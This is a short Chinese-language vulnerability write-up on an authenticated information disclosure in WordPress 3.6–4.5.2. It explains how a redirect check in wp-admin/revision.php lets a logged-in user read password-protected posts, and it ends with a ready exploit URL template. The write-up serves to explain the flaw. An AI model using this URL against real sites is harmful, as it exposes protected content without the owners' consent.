1. 程式人生 > >WordPress 3.6-4.5.2 Authenticated Revision History Information Disclosure

WordPress 3.6-4.5.2 Authenticated Revision History Information Disclosure

漏洞危害

WP允許作者釋出一種帶密碼驗證的文章,該漏洞可繞過密碼保護檢視內容。

受保護的文章截圖

程式碼分析

4.5bypass-sourcecode

檢查許可權失敗會break,此時 $redirect="edit.php",會跳到編輯文章的介面。

if ( ! empty( $redirect ) ) {
    wp_redirect( $redirect );
    exit;
}

如果驗證許可權成功,會將 $redirect 重置為false,從而未跳轉而是直接顯示請求的頁面內容,導致加密的內容被輸出。

漏洞利用

觸發該漏洞的入口為wp-admin/revision.php所以要使用者登入。

exp:
http://[WP-HOST]/wp-admin/revision.php?revision=[PAPER_ID]&action=view

exp-success-pic